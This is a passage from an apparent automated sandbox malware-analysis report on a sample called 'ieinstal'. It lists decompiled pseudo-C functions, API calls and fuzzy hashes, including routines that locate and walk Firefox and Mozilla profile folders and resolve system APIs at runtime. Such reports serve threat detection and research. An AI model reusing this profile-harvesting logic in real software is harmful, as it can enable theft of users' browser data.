                                                                                                                            • memset.MSVCRT ref: 004040FC
                                                                                                                              • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                              • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                                                            • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                                                            • API String ID: 3527940856-3369679110
                                                                                                                            • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                            • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                                                                                                                            • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                            • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy
                                                                                                                            • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                                                            • API String ID: 3510742995-2641926074
                                                                                                                            • Opcode ID: ce3f0164aafa0249c1655987c9fd68d1cb4a7ac41c6f811fdb80cf943b1bed77
                                                                                                                            • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                                                                                                                            • Opcode Fuzzy Hash: ce3f0164aafa0249c1655987c9fd68d1cb4a7ac41c6f811fdb80cf943b1bed77
                                                                                                                            • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 58%
                                                                                                                            			E004032B4(intOrPtr __ecx, void* __eflags, long long __fp0, intOrPtr _a4, void _a8, char _a2660, char _a2664, int _a2668, intOrPtr _a2672, char _a2676, void _a2680, short _a2682, int _a2684, long _a2692, long _a3204, intOrPtr _a7328, int _a7332, void* _a10228) {
				intOrPtr _v0;
				int _v4;
				int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t60;
				int _t69;
				wchar_t* _t73;
				intOrPtr _t77;
				void* _t79;
				void* _t82;
				void* _t88;
				void* _t92;
				void* _t99;
				signed int _t107;
				void* _t109;
				long long _t119;

				_t119 = __fp0;
				0x44db70();
				_a4 = __ecx;
				E00402850( &_a8);
				_a2672 = 0x20;
				_a2664 = 0;
				_a2676 = 0;
				_a2668 = 0;
				memcpy( &_a8,  *0x45d338 + 0x1c, 0x298 << 2);
				_t109 = (_t107 & 0xfffffff8) + 0xc;
				E0040B633( &_a2664);
				0x445103(_t92, _t99, _t79);
				_a10228 =  &_a8;
				0x44553b( &_a2680); // executed
				0x4452e5();
				_v8 = 0;
				if(_a2672 <= 0) {
					L15:
					E0040368C(_v0);
					return E0040B633( &_a2660);
				} else {
					_v4 = 0;
					do {
						_t60 = _v8;
						if(_t60 < 0 || _t60 >= _a2672) {
							_t82 = 0;
						} else {
							_t82 = _v4 + _a2660;
						}
						_a2680 = 0;
						_a2682 = 0;
						_a2684 = 0;
						_a2676 = 0x44e610;
						E00402808( &_a2692);
						memset( &_a2680, 0, 0x1230);
						_a7332 = 0;
						memcpy( &_a2692, _t82, 0x121c);
						_t109 = _t109 + 0x18;
						if(_a3204 != 0 || _a2692 != 0) {
							_t69 = wcscmp( &_a3204,  &_a2692);
							_pop(_t88);
							if(_t69 != 0) {
								_a7328 = E004028E7(_t119,  &_a3204);
								_t73 =  &_a3204;
								0x44662e( &_a2692);
								_t88 = _t73;
								if(_t73 == 0) {
									_t77 = 0xa;
									if(_a7328 > _t77) {
										_a7328 = _t77;
									}
								}
							} else {
								_a7328 = 1;
							}
							E0040F508(_v0,  &_a2676, _t88);
						}
						_v8 = _v8 + 1;
						_v4 = _v4 + 0x121c;
					} while (_v8 < _a2672);
					goto L15;
				}
			}





















                                                                                                                            0x004032b4
                                                                                                                            0x004032bf
                                                                                                                            0x004032cb
                                                                                                                            0x004032cf
                                                                                                                            0x004032df
                                                                                                                            0x004032ea
                                                                                                                            0x004032f1
                                                                                                                            0x004032f8
                                                                                                                            0x00403308
                                                                                                                            0x00403308
                                                                                                                            0x00403311
                                                                                                                            0x0040331d
                                                                                                                            0x00403326
                                                                                                                            0x00403330
                                                                                                                            0x00403337
                                                                                                                            0x00403345
                                                                                                                            0x00403349
                                                                                                                            0x00403480
                                                                                                                            0x00403484
                                                                                                                            0x0040349b
                                                                                                                            0x0040334f
                                                                                                                            0x0040334f
                                                                                                                            0x00403358
                                                                                                                            0x00403358
                                                                                                                            0x0040335e
                                                                                                                            0x00403379
                                                                                                                            0x00403369
                                                                                                                            0x00403374
                                                                                                                            0x00403374
                                                                                                                            0x00403382
                                                                                                                            0x0040338a
                                                                                                                            0x00403392
                                                                                                                            0x00403399
                                                                                                                            0x004033a4
                                                                                                                            0x004033b7
                                                                                                                            0x004033c9
                                                                                                                            0x004033d0
                                                                                                                            0x004033d5
                                                                                                                            0x004033e0
                                                                                                                            0x004033fc
                                                                                                                            0x00403404
                                                                                                                            0x00403405
                                                                                                                            0x00403421
                                                                                                                            0x00403431
                                                                                                                            0x00403439
                                                                                                                            0x00403441
                                                                                                                            0x00403442
                                                                                                                            0x00403446
                                                                                                                            0x0040344e
                                                                                                                            0x00403450
                                                                                                                            0x00403450
                                                                                                                            0x0040344e
                                                                                                                            0x00403407
                                                                                                                            0x00403407
                                                                                                                            0x00403407
                                                                                                                            0x00403462
                                                                                                                            0x00403462
                                                                                                                            0x00403467
                                                                                                                            0x0040346f
                                                                                                                            0x00403473
                                                                                                                            0x00000000
                                                                                                                            0x00403358

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040B633: ??3@YAXPAX@Z.MSVCRT ref: 0040B63A
                                                                                                                              • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                                                                                                                              • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                                                                                                                            • memset.MSVCRT ref: 004033B7
                                                                                                                            • memcpy.MSVCRT ref: 004033D0
                                                                                                                            • wcscmp.MSVCRT ref: 004033FC
                                                                                                                            • _wcsicmp.MSVCRT ref: 00403439
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$??3@_wcsicmpmemcpywcscmpwcsrchr
                                                                                                                            • String ID: $0.@
                                                                                                                            • API String ID: 3030842498-1896041820
                                                                                                                            • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                            • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                                                                                                                            • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                            • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004449B9 Relevance: 10.6, APIs: 7, Instructions: 61libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2941347001-0
                                                                                                                            • Opcode ID: 71f7015b8efbcabf0d8a3174310d871b9f234e636c99dab6741889365bf8ff35
                                                                                                                            • Instruction ID: 45112ec7679d7541be2eaee67b01953ccf91f0241e5cd71b41190719d78dca83
                                                                                                                            • Opcode Fuzzy Hash: 71f7015b8efbcabf0d8a3174310d871b9f234e636c99dab6741889365bf8ff35
                                                                                                                            • Instruction Fuzzy Hash: 2E115871840700EDEA207F72DD0FF2B7AA5EF40B14F10882EF555594E1EBB6A8119E9C
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00403BED(intOrPtr _a4) {
				void _v526;
				short _v528;
				void _v1050;
				char _v1052;
				void* __ebx;
				void* __esi;
				void* _t15;
				void* _t20;
				void* _t28;
				wchar_t* _t29;
				wchar_t* _t30;
				void* _t31;

				memset( &_v1050, 0, 0x208);
				_v528 = 0;
				memset( &_v526, 0, 0x208);
				_t15 = 0x1a;
				_t29 =  &_v1052;
				_v1052 = 0;
				E00414C2E(_t15, _t29); // executed
				E00409719(_t29);
				wcscat(_t29, "Mozilla\Profiles");
				_t20 = 0x1a;
				_t30 =  &_v528;
				_v528 = 0;
				E00414C2E(_t20, _t30);
				E00409719(_t30);
				wcscat(_t30, "Mozilla\Firefox\Profiles");
				E00403AF5(_t31, 0,  &_v1052, _a4, 0); // executed
				_t28 = E00403AF5(_t31, 0, _t30, _a4, 1); // executed
				return _t28;
			}















                                                                                                                            0x00403c09
                                                                                                                            0x00403c17
                                                                                                                            0x00403c1e
                                                                                                                            0x00403c25
                                                                                                                            0x00403c26
                                                                                                                            0x00403c2c
                                                                                                                            0x00403c33
                                                                                                                            0x00403c3a
                                                                                                                            0x00403c47
                                                                                                                            0x00403c4e
                                                                                                                            0x00403c4f
                                                                                                                            0x00403c55
                                                                                                                            0x00403c5c
                                                                                                                            0x00403c63
                                                                                                                            0x00403c70
                                                                                                                            0x00403c83
                                                                                                                            0x00403c90
                                                                                                                            0x00403c99

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00403C09
                                                                                                                            • memset.MSVCRT ref: 00403C1E
                                                                                                                              • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                                                                                                                              • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                                                                                                                            • wcscat.MSVCRT ref: 00403C47
                                                                                                                              • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                              • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                              • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                            • wcscat.MSVCRT ref: 00403C70
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memsetwcscat$Closewcscpywcslen
                                                                                                                            • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                                                            • API String ID: 3249829328-1174173950
                                                                                                                            • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                            • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                                                                                                                            • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                            • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040A804(wchar_t* _a4) {
				void _v2050;
				long _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t20;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				if( *0x45de68 == 0) {
					 *0x45e074 = GetSystemDirectoryW(0x45de68, 0x104);
				}
				wcscpy( &_v2052, 0x45de68);
				_t20 =  &_v2052;
				E00409719(_t20);
				wcscat(_t20, _a4);
				_t16 = LoadLibraryW(_t20); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}








                                                                                                                            0x0040a80d
                                                                                                                            0x0040a824
                                                                                                                            0x0040a839
                                                                                                                            0x0040a847
                                                                                                                            0x0040a847
                                                                                                                            0x0040a854
                                                                                                                            0x0040a859
                                                                                                                            0x0040a85f
                                                                                                                            0x0040a86a
                                                                                                                            0x0040a87b
                                                                                                                            0x0040a87f
                                                                                                                            0x00000000
                                                                                                                            0x0040a884
                                                                                                                            0x0040a888

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040A824
                                                                                                                            • GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                            • wcscpy.MSVCRT ref: 0040A854
                                                                                                                            • wcscat.MSVCRT ref: 0040A86A
                                                                                                                            • LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                            • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 669240632-0
                                                                                                                            • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                            • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                                                                                                                            • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                            • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • wcschr.MSVCRT ref: 00414458
                                                                                                                            • _snwprintf.MSVCRT ref: 0041447D
                                                                                                                            • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                                                                                                                            • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                                                            • String ID: "%s"
                                                                                                                            • API String ID: 1343145685-3297466227
                                                                                                                            • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                            • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                                                                                                                            • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                            • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413CA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00413CA4(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x45e28c == 0) {
					_t9 = GetModuleHandleW("kernel32.dll");
					if(_t9 != 0) {
						 *0x45e28c = 1;
						 *0x45e290 = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x45e290 == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}





                                                                                                                            0x00413cae
                                                                                                                            0x00413cb5
                                                                                                                            0x00413cbd
                                                                                                                            0x00413cc5
                                                                                                                            0x00413cd5
                                                                                                                            0x00413cd5
                                                                                                                            0x00413cbd
                                                                                                                            0x00413ce1
                                                                                                                            0x00413cf9
                                                                                                                            0x00413ce3
                                                                                                                            0x00413cf2
                                                                                                                            0x00413cf5
                                                                                                                            0x00413cf5

                                                                                                                            APIs
                                                                                                                            • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00413CCF
                                                                                                                            • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressHandleModuleProcProcessTimes
                                                                                                                            • String ID: GetProcessTimes$kernel32.dll
                                                                                                                            • API String ID: 1714573020-3385500049
                                                                                                                            • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                            • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                                                                                                                            • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                            • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 60%
                                                                                                                            			E004087B3(void* __edx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void _v538;
				char _v540;
				void _v1066;
				char _v1068;
				void _v1594;
				char _v1596;
				void _v2122;
				char _v2124;
				void _v2650;
				char _v2652;
				void _v3675;
				char _v3676;
				void* _t53;
				void* _t65;
				void* _t68;
				void* _t71;
				void* _t74;
				void* _t81;
				void* _t85;
				void* _t87;
				void* _t89;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;
				void* _t109;
				void* _t113;
				void* _t117;
				void* _t133;

				_t133 = __eflags;
				_t114 = __edi;
				_t113 = __edx;
				_v8 = 0;
				_v3676 = 0;
				memset( &_v3675, 0, 0x3ff);
				E0040A6E6(_a4,  &_v3676);
				_pop(_t102);
				_t53 = E004095D9(__edi + 4, _t113, _t133, _a8,  &_v3676); // executed
				_t134 = _t53;
				if(_t53 != 0) {
					 *((intOrPtr*)(__edi + 0x3dc)) = 2;
					_v540 = 0;
					memset( &_v538, 0, 0x208);
					_v1068 = 0;
					memset( &_v1066, 0, 0x208);
					_v2124 = 0;
					memset( &_v2122, 0, 0x208);
					_v1596 = 0;
					memset( &_v1594, 0, 0x208);
					_v2652 = 0;
					memset( &_v2650, 0, 0x208);
					_push(0x104);
					_t65 = E0040B2CC(_t102, _t134, 0x138);
					_t103 = _t102;
					_push(_t65);
					_push(_a8);
					E00409D1F( &_v540);
					_push(0x104);
					_t68 = E0040B2CC(_t103, _t134, 0x139);
					_t104 = _t103;
					_push(_t68);
					_push(_a8);
					E00409D1F( &_v1068);
					_push(0x104);
					_t71 = E0040B2CC(_t104, _t134, 0x13a);
					_t105 = _t104;
					_push(_t71);
					_push(_a8);
					E00409D1F( &_v2124);
					_push(0x104);
					_t74 = E0040B2CC(_t105, _t134, 0x13b);
					_t106 = _t105;
					_push(_t74);
					_push(_a8);
					E00409D1F( &_v1596);
					_push(0x104);
					E00409D1F( &_v2652, _a8, E0040B2CC(_t106, _t134, 0x13c), _t106);
					_t117 = 0;
					_t81 = E00409B98( &_v2652);
					_t135 = _t81;
					if(_t81 == 0) {
						__eflags = E00409B98( &_v1596);
						_pop(_t109);
						if(__eflags == 0) {
							_t85 = E00409B98( &_v540);
							__eflags = _t85;
							if(_t85 != 0) {
								_t117 = 1;
								__eflags = 1;
								E00408560(_t113, 1, __edi, _a4,  &_v540, 0xa);
							}
							_t87 = E00409B98( &_v1068);
							__eflags = _t87;
							if(_t87 != 0) {
								_t117 = 1;
								__eflags = 1;
								E00408560(_t113, 1, _t114, _a4,  &_v1068, 0x14);
							}
							_t89 = E00409B98( &_v2124);
							__eflags = _t89;
							if(_t89 != 0) {
								_t117 = 1;
								__eflags = 1;
								E00408560(_t113, 1, _t114, _a4,  &_v2124, 0x1e);
							}
							__eflags = _t117;
							if(_t117 == 0) {
								_v8 = 3;
							}
						} else {
							E004082C7(_t109, _t113, __eflags, __edi, _a4,  &_v1596);
						}
					} else {
						E00407FDF(_t113, _t135, __edi, _a4,  &_v2652);
					}
				}
				return _v8;
			}


































                                                                                                                            0x004087b3
                                                                                                                            0x004087b3
                                                                                                                            0x004087b3
                                                                                                                            0x004087cd
                                                                                                                            0x004087d0
                                                                                                                            0x004087d6
                                                                                                                            0x004087e8
                                                                                                                            0x004087ee
                                                                                                                            0x004087fc
                                                                                                                            0x00408801
                                                                                                                            0x00408803
                                                                                                                            0x00408817
                                                                                                                            0x00408821
                                                                                                                            0x00408828
                                                                                                                            0x00408839
                                                                                                                            0x00408840
                                                                                                                            0x00408851
                                                                                                                            0x00408858
                                                                                                                            0x00408869
                                                                                                                            0x00408870
                                                                                                                            0x00408881
                                                                                                                            0x00408888
                                                                                                                            0x00408895
                                                                                                                            0x0040889c
                                                                                                                            0x004088a1
                                                                                                                            0x004088a2
                                                                                                                            0x004088a3
                                                                                                                            0x004088ac
                                                                                                                            0x004088b4
                                                                                                                            0x004088bb
                                                                                                                            0x004088c0
                                                                                                                            0x004088c1
                                                                                                                            0x004088c2
                                                                                                                            0x004088cb
                                                                                                                            0x004088d3
                                                                                                                            0x004088da
                                                                                                                            0x004088df
                                                                                                                            0x004088e0
                                                                                                                            0x004088e1
                                                                                                                            0x004088ea
                                                                                                                            0x004088f2
                                                                                                                            0x004088f9
                                                                                                                            0x004088fe
                                                                                                                            0x004088ff
                                                                                                                            0x00408900
                                                                                                                            0x00408909
                                                                                                                            0x00408911
                                                                                                                            0x00408928
                                                                                                                            0x00408937
                                                                                                                            0x00408939
                                                                                                                            0x0040893e
                                                                                                                            0x00408941
                                                                                                                            0x00408964
                                                                                                                            0x00408966
                                                                                                                            0x00408967
                                                                                                                            0x00408982
                                                                                                                            0x00408987
                                                                                                                            0x0040898a
                                                                                                                            0x0040899b
                                                                                                                            0x0040899b
                                                                                                                            0x0040899c
                                                                                                                            0x0040899c
                                                                                                                            0x004089a8
                                                                                                                            0x004089ad
                                                                                                                            0x004089b0
                                                                                                                            0x004089c1
                                                                                                                            0x004089c1
                                                                                                                            0x004089c2
                                                                                                                            0x004089c2
                                                                                                                            0x004089ce
                                                                                                                            0x004089d3
                                                                                                                            0x004089d6
                                                                                                                            0x004089e7
                                                                                                                            0x004089e7
                                                                                                                            0x004089e8
                                                                                                                            0x004089e8
                                                                                                                            0x004089ed
                                                                                                                            0x004089ef
                                                                                                                            0x004089f1
                                                                                                                            0x004089f1
                                                                                                                            0x00408969
                                                                                                                            0x00408974
                                                                                                                            0x00408974
                                                                                                                            0x00408943
                                                                                                                            0x0040894e
                                                                                                                            0x0040894e
                                                                                                                            0x00408941
                                                                                                                            0x004089fe

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004087D6
                                                                                                                              • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                              • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                                                                                                                            • memset.MSVCRT ref: 00408828
                                                                                                                            • memset.MSVCRT ref: 00408840
                                                                                                                            • memset.MSVCRT ref: 00408858
                                                                                                                            • memset.MSVCRT ref: 00408870
                                                                                                                            • memset.MSVCRT ref: 00408888
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2911713577-0
                                                                                                                            • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                            • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                                                                                                                            • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                            • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 61%
                                                                                                                            			E0041F1A5(intOrPtr* __ebx, void* __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* __edi;
				void* __esi;
				void* _t75;
				intOrPtr _t79;
